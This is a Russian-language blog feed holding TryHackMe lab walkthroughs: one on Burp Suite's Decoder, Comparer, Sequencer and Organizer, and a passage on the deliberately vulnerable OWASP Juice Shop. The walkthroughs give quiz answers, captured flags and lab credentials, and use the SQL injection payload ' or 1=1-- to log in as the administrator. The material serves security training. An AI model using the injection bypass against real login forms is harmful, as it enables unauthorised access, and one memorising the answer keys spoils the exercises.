  <p id="cx0p">Хэширование — это односторонний процесс, преобразующий данные в уникальную сигнатуру. Чтобы функция считалась алгоритмом хэширования, её результат должен быть необратимым. Эффективный алгоритм хэширования гарантирует, что каждый входной параметр данных будет генерировать совершенно уникальный хэш. Например, использование алгоритма MD5 для получения хэш-суммы для текста &quot;MD5sum&quot; даёт результат <code>4ae1a02de5bd02a5515f583f4fca5e8c</code>. Использование того же алгоритма для &quot;MD5SUM&quot; даёт совершенно другой хэш, несмотря на близкое сходство входных данных: <code>13b436b09172400c9eb2f69fbd20adad</code>. Поэтому хэши обычно используются для проверки целостности файлов и документов, поскольку даже незначительное изменение файла существенно меняет хэш-сумму.</p>
  <p id="QyMk"><strong>Примечание:</strong> Алгоритм MD5 устарел и не должен использоваться в современных приложениях.</p>
  <p id="Lx73">Кроме того, хеши используются для безопасного хранения паролей, поскольку односторонний процесс хеширования делает пароли относительно защищенными, даже если база данных будет скомпрометирована. Когда пользователь создает пароль, приложение хеширует его и сохраняет. Во время входа в систему приложение хеширует введенный пароль и сравнивает его с сохраненным хешем; если они совпадают, пароль верен. Используя этот метод, приложению никогда не нужно хранить исходный (открытый) пароль.</p>
  <h4 id="HPvd">Хэширование в декодере</h4>
  <p id="eLOa">Декодер позволяет создавать хеш-суммы для данных непосредственно в Burp Suite; он работает аналогично параметрам кодирования/декодирования, которые мы обсуждали ранее. В частности, мы щелкаем по выпадающему меню <strong>«Хеш»</strong> и выбираем алгоритм из списка:</p>
  <figure id="U6aI" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/c212c8a83418b3674928270f258ddd72.png" width="177" />
  </figure>
  <p id="TXEm"><strong>Примечание:</strong> Этот список значительно длиннее, чем список алгоритмов кодирования/декодирования — стоит пролистать его, чтобы увидеть множество доступных алгоритмов хеширования.</p>
  <p id="udEA">Продолжая наш предыдущий пример, введем &quot;MD5sum&quot; в поле ввода, а затем прокрутим список вниз, пока не найдем &quot; MD5 &quot;. Применение этой команды автоматически переведет нас в шестнадцатеричный режим отображения:</p>
  <figure id="2yDS" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/01a73d9cb47f274259543585f91a3664.png" width="1097" />
  </figure>
  <p id="9fVW">Результатом работы хеш-алгоритма является не чистый текст в формате ASCII/Unicode. Поэтому принято преобразовывать результат работы алгоритма в шестнадцатеричную строку; это и есть та самая форма «хеша», с которой вы, возможно, знакомы.</p>
  <p id="IvUf">Завершим это, применив к хеш-сумме кодировку &quot;ASCII Hex&quot;, чтобы получить аккуратную шестнадцатеричную строку из нашего первоначального примера.</p>
  <p id="GRuj">Вот полный процесс:</p>
  <figure id="iixY" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/8bb114a4bce68b068f6dd0c0aaffe9e1.gif" width="1034" />
  </figure>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="tJBI">Вопрос: Используя программу Decoder, определите хеш-сумму SHA-256 для фразы: <code>Let&#x27;s get Hashing!</code>?</p>
    <p id="Old6">Для ответа на этот вопрос преобразуйте это в шестнадцатеричную ASCII-строку.<br /><strong>Ответ:6b72350e719a8ef5af560830164b13596cb582757437e21d1879502072238abe</strong></p>
    <p id="pFfh">Вопрос: Сгенерируйте хеш-сумму MD4 для фразы: <code>Insecure Algorithms</code>.</p>
    <p id="xEy3">Перед отправкой закодируйте это в формате base64 (а не в ASCII Hex).<br /><strong>Ответ:TcV4QGZZN7y7lwYFRMMoeA==</strong></p>
    <p id="VVde">Вопрос:</p>
    <p id="vP1I">Рассмотрим пример в контексте:</p>
    <p id="7goU">Сначала скачайте файл, прикрепленный к этому заданию.</p>
    <p id="j0sO"><strong>Примечание:</strong> Этот файл также можно загрузить с развернутой виртуальной машины <code>wget http://10.114.155.32:9999/AlteredKeys.zip</code> —  это может быть полезно, если вы используете AttackBox.</p>
    <p id="AOAN">Теперь ознакомьтесь с приведенным ниже описанием задачи:</p>
    <p id="cMtC">«Какой-то шутник подделал мой SSH-ключ! В каталоге четыре ключа, и я понятия не имею, какой из них настоящий. MD5-хеш моего ключа <code>3166226048d6ad776370dc105d40d9f8</code> —  не могли бы вы его найти?»</p>
    <p id="mW6v">Какое правильное название ключа?</p>
    <p id="QZAs"><br /><strong>Ответ: key3</strong></p>
  </section>
  <h2 id="e78b"><strong>Задание 5. Сравнительный анализ: Обзор </strong></h2>
  <p id="otVi">Как следует из названия, Comparer позволяет сравнивать два фрагмента данных либо по ASCII-словам, либо по байтам.</p>
  <p id="Z2U9">Давайте сначала рассмотрим интерфейс:</p>
  <figure id="OWZG" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f05e8f491facd01264f53759714120db.png" width="1100" />
  </figure>
  <p id="kC4W">Интерфейс можно разделить на три основных раздела:</p>
  <ol id="6dlZ">
    <li id="VqOq">Слева мы видим элементы, которые нужно сравнить. Когда мы загружаем данные в Comparer, они отображаются в виде строк в этих таблицах. Мы выбираем два набора данных для сравнения.</li>
    <li id="6H30">В правом верхнем углу расположены параметры для вставки данных из буфера обмена (Вставить), загрузки данных из файла (Загрузить), удаления текущей строки (Удалить) и очистки всех наборов данных (Очистить).</li>
    <li id="cg9P">Наконец, в правом нижнем углу мы можем выбрать сравнение наборов данных по словам или по байтам. Неважно, какой из этих вариантов вы выберете изначально, поскольку это можно изменить позже. Это кнопки, которые мы нажимаем, когда готовы сравнить выбранные данные.</li>
  </ol>
  <p id="yypj">Как и в большинстве модулей Burp Suite , мы также можем загружать данные в Comparer из других модулей, щелкнув правой кнопкой мыши и выбрав <strong>«Отправить в Comparer»</strong> .</p>
  <p id="cafb">После того, как мы добавим как минимум два набора данных для сравнения и нажмем либо <strong>«Слова»</strong> , либо <strong>«Байты»</strong> , во всплывающем окне отобразится результат сравнения:</p>
  <figure id="AfoE" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/221f10f4817c0ee660248edea10dd041.png" width="914" />
  </figure>
  <p id="VjHL">Это окно также состоит из трех отдельных разделов:</p>
  <ol id="KAzj">
    <li id="9hbs">Сравниваемые данные занимают большую часть окна; их можно просмотреть как в текстовом, так и в шестнадцатеричном формате. Исходный формат зависит от того, выбрали ли мы сравнение по словам или по байтам в предыдущем окне, но это можно изменить с помощью кнопок над полями сравнения.</li>
    <li id="dRFT">В левом нижнем углу находится ключ сравнения, показывающий, какие цвета обозначают измененные, удаленные и добавленные данные в двух наборах данных.</li>
    <li id="qznD">Флажок <strong>«Синхронизировать представления»</strong> находится в правом нижнем углу окна. При выборе этого флажка гарантируется синхронизация форматов обоих наборов данных. Другими словами, если вы измените один из них на шестнадцатеричный формат, другой автоматически синхронизируется.</li>
  </ol>
  <p id="u4IH">В заголовке окна отображается общее количество найденных различий.</p>
  <h2 id="wFqj"><strong>Задание 6. Компаратор: Пример </strong></h2>
  <p id="1Oq7">Теперь мы знаем, что делает Comparer, но в чём его польза?</p>
  <p id="hdkr">Существует множество ситуаций, когда возможность быстро сравнить два (потенциально очень больших) массива данных может оказаться полезной.</p>
  <p id="sRve">Например, при проведении атаки методом перебора паролей или подбора учетных данных с помощью Intruder, вы можете сравнить два ответа разной длины, чтобы определить, в чем заключаются различия и указывают ли эти различия на успешный вход в систему.</p>
  <h4 id="9hZF">Практический пример</h4>
  <ol id="gky9">
    <li id="gx8Z">Перейти к<code>http://10.114.155.32/support/login</code>Попробуйте войти в систему с неверным именем пользователя и паролем — перехватите запрос в <a href="https://tryhackme.com/room/burpsuitebasics" target="_blank">Burp Proxy</a> .</li>
    <li id="XHZ1">Отправьте запрос в <a href="https://tryhackme.com/room/burpsuiterepeater" target="_blank">Repeater</a> с помощью <code>Ctrl + R</code>(или аналогичного инструмента для Mac) или щелкнув правой кнопкой мыши по запросу в модуле Proxy и выбрав <strong>«Отправить в Repeater»</strong> .</li>
    <li id="axKb">Отправьте запрос, затем щелкните правой кнопкой мыши по ответу и выберите <strong>«Отправить в Comparer»</strong> .</li>
    <li id="h6vJ">На вкладке «Ретранслятор» измените учетные данные на следующие: Отправьте запрос еще раз, затем передайте новый ответ в Comparer.</li>
    <ul id="aUB2">
      <li id="hAfQ">Имя пользователя:<code>support_admin</code></li>
      <li id="bUSE">Пароль:<code>w58ySK4W</code></li>
    </ul>
  </ol>
  <h2 id="qwmh"><strong>Задание 7. Секвенсор: Обзор </strong></h2>
  <p id="F1bO">Sequencer позволяет нам оценивать энтропию , или случайность, «токенов». Токены — это строки, используемые для идентификации чего-либо, и в идеале они должны генерироваться криптографически безопасным способом. Эти токены могут быть сессионными cookie-файлами или токенами защиты <strong>от</strong> межсайтовой <strong>подделки запросов</strong> ( CSRF ) <strong>,</strong> используемыми для защиты при отправке форм. Если эти токены не генерируются безопасным способом, то теоретически мы можем предсказывать будущие значения токенов. Последствия могут быть существенными, например, если рассматриваемый токен используется для сброса пароля.</p>
  <p id="7sey">Начнём с рассмотрения интерфейса секвенсора:</p>
  <figure id="BVAY" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/dab1d10ba6ae4740453d593706cff315.png" width="779" />
  </figure>
  <p id="oYsU">В Sequencer есть два основных способа проведения анализа токенов:</p>
  <ul id="mAIr">
    <li id="DF2R"><strong>Захват в реальном времени</strong> : это более распространенный метод, и он является подвкладкой по умолчанию для Sequencer. Захват в реальном времени позволяет передать в Sequencer запрос на генерацию токена для анализа. Например, мы можем захотеть передать Sequencer POST-запрос к конечной точке авторизации, зная, что сервер ответит cookie-файлом. После передачи запроса мы можем дать указание Sequencer начать захват в реальном времени. Затем он автоматически выполнит тот же запрос тысячи раз, сохраняя сгенерированные образцы токенов для анализа. После сбора достаточного количества образцов мы останавливаем Sequencer и позволяем ему анализировать захваченные токены.</li>
    <li id="FXl9"><strong>Ручная загрузка</strong> : Это позволяет загрузить список предварительно сгенерированных образцов токенов непосредственно в Sequencer для анализа. Использование ручной загрузки избавляет от необходимости отправлять тысячи запросов к целевому объекту, что может быть избыточным и ресурсоемким процессом. Однако для этого требуется большой список предварительно сгенерированных токенов.</li>
  </ul>
  <p id="X1cU">В этой комнате мы сосредоточимся на записи видео в режиме реального времени.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="XkG1">Вопрос: Что позволяет нам оценивать Sequencer?<br /><strong>Ответ: Entropy</strong></p>
  </section>
  <h2 id="RWrv"><strong>Задание 8. Секвенсор: Захват в реальном времени </strong></h2>
  <p id="yq9b">Отлично, давайте перейдем к процессу использования функции захвата данных в реальном времени Sequencer для анализа энтропии токена защиты от перебора паролей, используемого в форме входа в административную панель.</p>
  <p id="iCM2">Сначала перехватите запрос <code>http://10.114.155.32/admin/login/</code>в прокси-сервере . Щелкните правой кнопкой мыши по запросу и выберите <strong>«Отправить в секвенсор»</strong> .</p>
  <p id="ANvL">В разделе «Расположение токена в ответе» можно выбрать между <strong>Cookie</strong> , <strong>полем формы</strong> и <strong>пользовательским расположением</strong> . Поскольку в данном случае мы тестируем loginToken, выберите переключатель «Поле формы» и выберите loginToken из выпадающего меню:</p>
  <figure id="VM3e" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/9bb4ea43eb0acb59dee493699d336930.png" width="599" />
  </figure>
  <p id="gbmq">В данной ситуации мы можем смело оставить все остальные параметры по умолчанию. Поэтому нажмите кнопку « <strong>Начать захват в реальном времени»</strong> .</p>
  <p id="vexL">Откроется новое окно, указывающее на то, что в данный момент идёт захват токенов, и отображающее количество захваченных токенов. Подождите, пока не будет захвачено достаточное количество токенов (примерно 10 000 должно быть достаточно); чем больше токенов мы получим, тем точнее будет наш анализ.</p>
  <p id="yQu9">После того, как будет собрано около 10 000 токенов, нажмите <strong>«Пауза»</strong> , а затем выберите кнопку <strong>«Анализировать сейчас»</strong> :</p>
  <figure id="kyI5" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/715caf9a950bdd3a3c9ec4a5360ae9ca.png" width="830" />
  </figure>
  <p id="4jyg">Важно отметить, что мы могли бы также остановить <strong>захват данных. Однако, выбрав паузу, мы сохраняем возможность возобновить захват данных позже, если в отчете окажется недостаточно выборок для точного расчета </strong>энтропии токена .</p>
  <p id="QNsu">Если бы нам требовались периодические обновления результатов анализа, мы могли бы также установить флажок «Автоматический анализ». Эта опция указывает Burp выполнять анализ энтропии после каждых 2000 запросов, обеспечивая частые обновления, точность которых будет возрастать по мере загрузки большего количества образцов в Sequencer.</p>
  <p id="nnca">На данном этапе также стоит отметить, что мы можем скопировать или сохранить захваченные токены для дальнейшего анализа в будущем.</p>
  <p id="fZ81">После нажатия кнопки <strong>«Анализировать сейчас » Burp проанализирует </strong>энтропию  токена и сгенерирует отчет.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="67S3">Вопрос: Каково общее качество случайности, по оценке?<br />Ответ: excellent</p>
  </section>
  <h2 id="GKZ2"><strong>Задание 9. Секвенатор: Анализ </strong></h2>
  <p id="sa35">Теперь, когда у нас есть отчет по анализу энтропии нашего токена, пришло время его проанализировать!</p>
  <p id="csKE">Сгенерированный отчет об анализе энтропии разделен на четыре основных раздела. Первый из них — это <strong>сводка</strong> результатов. В сводке содержится следующая информация:</p>
  <figure id="pIKn" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/ff780f0e74d75191ea4945dbe7794a29.png" width="949" />
  </figure>
  <ul id="ie5o">
    <li id="di7W"><strong>Общий результат</strong> : Это дает общую оценку безопасности механизма генерации токенов. В данном случае уровень энтропии указывает на то, что токены, вероятно, генерируются безопасно.</li>
    <li id="JYuF"><strong>Эффективная энтропия</strong> : Этот показатель измеряет степень случайности токенов. Эффективная энтропия в 117 бит является относительно высокой, что указывает на достаточную случайность токенов и, следовательно, на их защиту от атак методом предсказания или перебора.</li>
    <li id="0byy"><strong>Надежность</strong> : Уровень значимости 1% означает, что существует 99% уверенности в точности результатов. Этот уровень уверенности достаточно высок, что гарантирует точность оценки эффективной энтропии .</li>
    <li id="BfhN"><strong>Образец</strong> : Здесь представлена ​​подробная информация об образцах токенов, проанализированных в процессе тестирования энтропии , включая количество токенов и их характеристики.</li>
  </ul>
  <p id="Zpcm">Хотя сводный отчет часто содержит достаточно информации для оценки безопасности процесса генерации токенов, важно помнить, что в некоторых случаях может потребоваться дополнительное расследование. Анализ на уровне символов и битов может дать более детальное представление о случайности токенов, особенно когда сводные результаты вызывают потенциальные опасения.</p>
  <p id="EYSj">Хотя отчет об энтропии может служить надежным индикатором безопасности механизма генерации токенов, необходимы более убедительные доказательства. На безопасность токенов могут влиять и другие факторы, а природа теории вероятности и статистики подразумевает наличие определенной степени неопределенности. Тем не менее, эффективная энтропия в 117 бит с уровнем значимости 1% свидетельствует о надежном и безопасном процессе генерации токенов.</p>
  <h2 id="yQxM"><strong>Задание 10. Организатор: Обзор </strong></h2>
  <p id="035n">Модуль «Организатор» в Burp Suite предназначен для хранения и аннотирования копий HTTP- запросов, к которым вы, возможно, захотите вернуться позже. Этот инструмент может быть особенно полезен для организации рабочего процесса тестирования на проникновение. Вот некоторые из его ключевых функций:</p>
  <ul id="cizc">
    <li id="kv89">Вы можете сохранять запросы, которые хотите изучить позже, сохранять запросы, которые вы уже определили как интересные, или сохранять запросы, которые хотите добавить в отчет позже.</li>
    <li id="17Y4">Вы можете отправлять HTTP- запросы в Burp Organizer из других модулей Burp, таких как <strong>Proxy</strong> или <strong>Repeater</strong> . Для этого щелкните правой кнопкой мыши по запросу и выберите <strong>«Отправить в Organizer»</strong>  или используйте стандартную горячую клавишу <code>Ctrl + O</code>. Каждый HTTP- запрос, отправленный в Organizer, представляет собой копию исходного запроса, сохраненную в момент отправки запроса в Organizer, доступную только для чтения.</li>
    <li id="mzxj">Запросы хранятся в таблице, которая содержит такие столбцы, как порядковый номер запроса, время отправки запроса, статус рабочего процесса, инструмент Burp, с которого был отправлен запрос, метод HTTP , имя хоста сервера, путь к файлу в URL, строка запроса в URL, количество параметров в запросе, код состояния HTTP ответа, длина ответа в байтах и ​​любые сделанные вами заметки.</li>
  </ul>
  <p id="WoQw">Чтобы просмотреть запрос и ответ:</p>
  <ol id="H7ES">
    <li id="DnuA">Щелкните по любому элементу Органайзера.</li>
    <li id="ajI7">И запрос, и ответ доступны только для чтения. Вы можете выполнить поиск внутри запроса или ответа, выделить запрос, а затем воспользоваться строкой поиска под запросом.</li>
  </ol>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ZkcO">Вопрос: Сохраненные запросы доступны только для чтения? (да/нет)<br /><strong>Ответ: yea</strong></p>
  </section>
  <h2 id="CCF0"><strong>Задание 11. Заключение</strong></h2>
  <p id="OU39"></p>
  <p id="vKWb">Поздравляем с завершением работы над модулем &quot;Другие модули Burp Suite&quot; !</p>
  <p id="LQcF">Вкратце, Decoder позволяет кодировать и декодировать данные, упрощая чтение и понимание передаваемой информации. Comparer позволяет выявлять различия между двумя наборами данных, что может иметь решающее значение для обнаружения уязвимостей или аномалий. Sequencer помогает проводить анализ энтропии токенов, предоставляя информацию о случайности их генерации и, следовательно, об уровне их безопасности. Organizer позволяет хранить и аннотировать копии HTTP- запросов, к которым вы, возможно, захотите вернуться позже.</p>
  <p id="xZjK">Базовое понимание этих инструментов расширяет ваши навыки в области тестирования веб-приложений на проникновение.</p>
  <p id="dKUJ">В следующем и заключительном зале этого модуля вы познакомитесь с инструментом <a href="https://tryhackme.com/room/burpsuiteextensions" target="_blank">Burp Suite Extensions</a> .</p>
  <hr />
  <p id="QuxH"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_43</guid><link>https://teletype.in/@fnay_offensive/post_43?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_43?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 39. OWASP Juice Shop</title><pubDate>Sun, 01 Mar 2026 11:10:58 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/54/e6/54e6ae54-b6c4-4097-a45a-ea5a652ad639.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/3d/3c/3d3c3957-c958-4513-bca8-143500490745.jpeg"></img>В этой комнате используется уязвимое веб-приложение Juice Shop, чтобы научиться выявлять и использовать распространенные уязвимости веб-приложений.]]></description><content:encoded><![CDATA[
  <figure id="j70A" class="m_original">
    <img src="https://img4.teletype.in/files/3d/3c/3d3c3957-c958-4513-bca8-143500490745.jpeg" width="1200" />
  </figure>
  <p id="KIe5">В этой комнате используется уязвимое веб-приложение Juice Shop, чтобы научиться выявлять и использовать распространенные уязвимости веб-приложений.</p>
  <figure id="VkHa" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <h2 id="rhQp">1. Открыто для бизнеса!</h2>
  <p id="hZfw">В этой комнате мы рассмотрим  <a href="https://owasp.org/www-project-top-ten/" target="_blank">10 самых распространенных уязвимостей в веб-приложениях по версии OWASP</a>  . Они встречаются во всех типах веб-приложений. Но сегодня мы поговорим о собственном изобретении OWASP — Juice Shop!</p>
  <figure id="q8Dn" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/vjfcwid.png" width="100" />
  </figure>
  <p id="Liuv"><em>Перед прохождением этой комнаты рекомендуется пройти <strong>бесплатные</strong> комнаты Burpsuite « <a href="https://tryhackme.com/room/burpsuitebasics" target="_blank">Burpsuite Basics</a> » и « <a href="https://tryhackme.com/room/burpsuiterepeater" target="_blank">Burpsuite Repeater</a>» !</em></p>
  <p id="yK81">Juice Shop — это большое приложение, поэтому мы не будем рассматривать все темы из топ-10.</p>
  <p id="QdaC">Однако мы рассмотрим следующие темы, с которыми рекомендуем вам ознакомиться по мере прохождения этого раздела.</p>
  <figure id="grkB" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="L8NE">&lt;-------------------------------------------------&gt;</p>
  <p id="Dz2n"><a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection" target="_blank">Инъекция</a></p>
  <p id="wUeu"><a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A2-Broken_Authentication" target="_blank">Неработающая аутентификация</a></p>
  <p id="1Sv3"><a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A3-Sensitive_Data_Exposure" target="_blank">Раскрытие конфиденциальных данных</a></p>
  <p id="PxMi"><a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A5-Broken_Access_Control" target="_blank">Неработающий контроль доступа</a></p>
  <p id="XQf3"><a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A7-Cross-Site_Scripting_(XSS)" target="_blank">Межсайтовая скриптовая атака (XSS)</a></p>
  <p id="yVP1">&lt;-------------------------------------------------&gt;</p>
  <p id="TfWC"><strong>ПОЖАЛУЙСТА, ОБРАТИ ВНИМАНИЕ!</strong></p>
  <p id="LX1o"><u><strong>Для выполнения [Задания 3] и последующих заданий потребуется флажок, который отобразится по завершении задания.</strong></u></p>
  <figure id="5vJO" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/t4KAlh2.png" width="1157" />
  </figure>
  <p id="vPuM"><strong><u>Поиск неисправностей</u></strong></p>
  <p id="dopD">Загрузка веб-приложения занимает от <u>2 до 5 минут , поэтому, пожалуйста, наберитесь терпения!</u></p>
  <p id="f332">Временно отключите Burp в настройках прокси для текущего браузера. Обновите страницу, и флажок отобразится.</p>
  <p id="ZTts"><em>(Это не проблема самого приложения, а проблема Burp, из-за которой флаг не отображается.</em> )</p>
  <p id="r04A">Если при выполнении XSS- атак проблема не решается, очистите файлы cookie и данные сайтов, так как это иногда может быть причиной.</p>
  <p id="fb5P">Если вы уверены, что выполнили задание, но оно всё ещё не работает, перейдите к  <strong>[Заданию 8]</strong> , это позволит вам проверить его выполнение.</p>
  <p id="f09f"><em>Благодарим  <a href="https://www.owasp.org/index.php/Main_Page" target="_blank">OWASP</a>  и  <a href="https://twitter.com/bkimminich" target="_blank">Бьорна Кимминича за предоставленные материалы.</a></em></p>
  <figure id="o0Fd" class="m_original">
    <img src="https://img1.teletype.in/files/81/0b/810bc619-408e-48e6-a567-6e7860970d8a.png" width="2552" />
  </figure>
  <h2 id="CCJv">2. Давайте отправимся в приключение!</h2>
  <figure id="WbI5" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/654be36872552158be01f92f/room-content/654be36872552158be01f92f-1750841632061.png" width="1877" />
  </figure>
  <p id="AWvv">Прежде чем перейти к собственно взлому, стоит осмотреться. В Burp отключите режим перехвата и просмотрите сайт. Это позволит Burp регистрировать различные запросы с сервера, которые могут оказаться полезными в дальнейшем.</p>
  <p id="VCx7">Запускаем бурп и кидаем проксирование </p>
  <figure id="swfK" class="m_original">
    <img src="https://img3.teletype.in/files/ae/aa/aeaac32f-4691-4737-9b4b-20fcba96f362.png" width="1950" />
  </figure>
  <p id="uReL">Это называется <strong>обходом</strong> приложения, что также является формой <strong>разведки</strong> !</p>
  <section>
    <p id="EgL7">Вопрос №1: Какой адрес электронной почты у администратора?</p>
    <figure id="Yr7K" class="m_original">
      <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/654be36872552158be01f92f/room-content/654be36872552158be01f92f-1750841888292.png" width="1571" />
    </figure>
    <p id="6iok">В отзывах указан адрес электронной почты каждого пользователя. А при нажатии на продукт Apple Juice отображается адрес электронной почты администратора!</p>
    <p id="udS4"><strong>Вопрос №2: Какой параметр используется для поиска? </strong></p>
    <figure id="0GyQ" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/pZLtWQl.png" width="223" />
    </figure>
    <p id="D6bj">При нажатии на значок лупы в правом верхнем углу приложения откроется строка поиска.</p>
    <figure id="D9E3" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/bFgw6uS.png" width="256" />
    </figure>
    <p id="mi8Z">Затем мы можем ввести какой-либо текст, и нажатие <strong>клавиши Enter</strong> выполнит поиск только что введенного текста.</p>
    <p id="FjEl">Теперь обратите внимание на URL-адрес, который обновится, отобразив только что введенный нами текст.</p>
    <figure id="v4Pn" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/AzJ3FAM.png" width="273" />
    </figure>
    <p id="aPWJ"><strong>Теперь после /#/search?</strong> и буквы <strong>q</strong> мы видим параметр поиска.</p>
  </section>
  <figure id="p5qw" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/YFWDP5v.png" width="493" />
  </figure>
  <h2 id="WFru">3. Введите сок</h2>
  <figure id="LgjG" class="m_original">
    <img src="https://assets.tryhackme.com/additional/imgur/uwXqDdH.png" width="976" />
  </figure>
  <p id="6Btg">В этой задаче основное внимание будет уделено уязвимостям внедрения кода. Уязвимости внедрения кода представляют собой серьезную опасность для компании, поскольку могут привести к простоям и/или потере данных. Выявление точек внедрения в веб-приложении обычно довольно просто, поскольку большинство из них возвращают ошибку. Существует множество типов атак внедрения кода, некоторые из них:</p>
  <p id="QMk3">SQL -инъекция</p>
  <p id="zPR8">SQL- инъекция — это когда злоумышленник вводит вредоносный или некорректный запрос для получения или изменения данных из базы данных. А в некоторых случаях — для входа в учетные записи.</p>
  <p id="U9vo">Внедрение команд</p>
  <p id="vCSn">Внедрение команд — это когда веб-приложения берут входные или управляемые пользователем данные и выполняют их как системные команды. Злоумышленник может изменить эти данные для выполнения собственных системных команд. Это можно наблюдать в приложениях, которые выполняют неправильно настроенные тесты ping.</p>
  <p id="IGNM"></p>
  <p id="sSfK">Тут я попробовал вызвать ошибку</p>
  <figure id="q0Dy" class="m_original">
    <img src="https://img2.teletype.in/files/9e/73/9e73d2cf-ba4b-4e6b-9c23-97188ea36ebe.png" width="1507" />
  </figure>
  <p id="XwH4">и что то стригерил</p>
  <section style="background-color:hsl(hsl(170, 33%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="2zZC">You successfully solved a challenge: Error Handling (Provoke an error that is neither very gracefully nor consistently handled.)<br /> 9c297196ecf8890bc1e900fcf3aebae8c9f9880a</p>
  </section>
  <p id="PQPE">Внедрение email-адреса</p>
  <p id="zqGj">Внедрение электронных писем — это уязвимость безопасности, позволяющая злоумышленникам отправлять электронные письма без предварительного разрешения почтового сервера. Это происходит, когда злоумышленник добавляет дополнительные данные в поля, которые сервер интерпретирует неправильно.</p>
  <p id="367v">Но в нашем случае мы будем использовать <strong>SQL- инъекцию </strong>.</p>
  <p id="ToKO">Для получения дополнительной информации:  <a href="https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_A1-Injection" target="_blank">Инъекция</a></p>
  <section>
    <p id="QE5T">Вопрос №1: Войдите в учетную запись администратора!</p>
    <p id="LpRQ">После перехода на страницу входа введите данные в поля электронной почты и пароля.</p>
    <figure id="AKyw" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/4XHHSof.png" width="122" />
    </figure>
    <p id="BEAU">Перед  отправкой убедитесь, что  режим перехвата  включен .</p>
    <p id="V9Fr">Это позволит нам увидеть данные, отправляемые на сервер!</p>
    <figure id="RjHd" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/6gyZ7Vr.png" width="1087" />
    </figure>
    <p id="AGJF">Теперь мы заменим &quot; <strong>a</strong> &quot; рядом с адресом электронной почты на:  &#x27; или 1=1--  и перешлем его на сервер.</p>
    <figure id="GRRw" class="m_original">
      <img src="https://assets.tryhackme.com/additional/imgur/tPFJnmC.png" width="266" />
    </figure>
    <figure id="AiKv" class="m_original">
      <img src="https://img3.teletype.in/files/6a/9a/6a9a39ff-ec0d-4316-9efe-ff1b45c6c7d3.png" width="1482" />
    </figure>
    <p id="j6zk">Опять стригирил что то </p>
    <p id="Lx9Y">You successfully solved a challenge: Login Admin (Log in with the administrator&#x27;s user account.)<br />Ответ: 690fa3247a99d651e0b26f947baf0b79b4f404a9</p>
    <p id="xGpA"><strong>Почему это работает?</strong></p>
    <ol id="wqsh">
      <li id="8IHR">Символ <strong>&#x27;</strong> закроет скобки в SQL-запросе.</li>
